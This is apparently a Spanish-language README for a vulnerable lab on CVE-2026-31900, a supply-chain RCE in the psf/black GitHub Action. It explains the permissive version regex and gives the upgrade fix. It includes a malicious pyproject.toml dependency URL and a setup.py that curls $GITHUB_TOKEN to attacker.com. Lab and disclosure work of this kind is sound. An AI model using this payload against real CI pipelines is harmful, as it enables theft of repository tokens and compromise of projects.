
CVE-2026-31900 Laboratorio Vulnerable - psf/black GitHub Action RCE
| Campo | Detalle |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Alto) |
| Aviso | GHSA-v53h-f6m7-xcgm |
| Afectado | psf/black GitHub Action < v26.3.0 |
| Tipo | RCE mediante cadena de suministro (desencadenante pull_request) |
La opción use_pyproject: true lee la versión de Black desde pyproject.toml. La regex utilizada para validar la cadena de versión es demasiado permisiva debido a re.IGNORECASE, permitiendo caracteres como espacio, @, : y / — exactamente lo necesario para un requisito de URL PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml en tu fork:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_requestpyproject.toml, omitiendo la validación de regexsetup.py ejecuta código arbitrariosetup.py de Paquete Maliciosofrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (token del runner de CI)Actualiza a psf/black v26.3.0 o fija la versión explícitamente en el YAML del flujo de trabajo en lugar de usar use_pyproject: true.
.github/workflows/black.yml ← Flujo de trabajo vulnerable (use_pyproject: true)
pyproject.toml ← Configuración legítima (rama principal)
app.py ← Archivo Python de ejemplo que se está formateando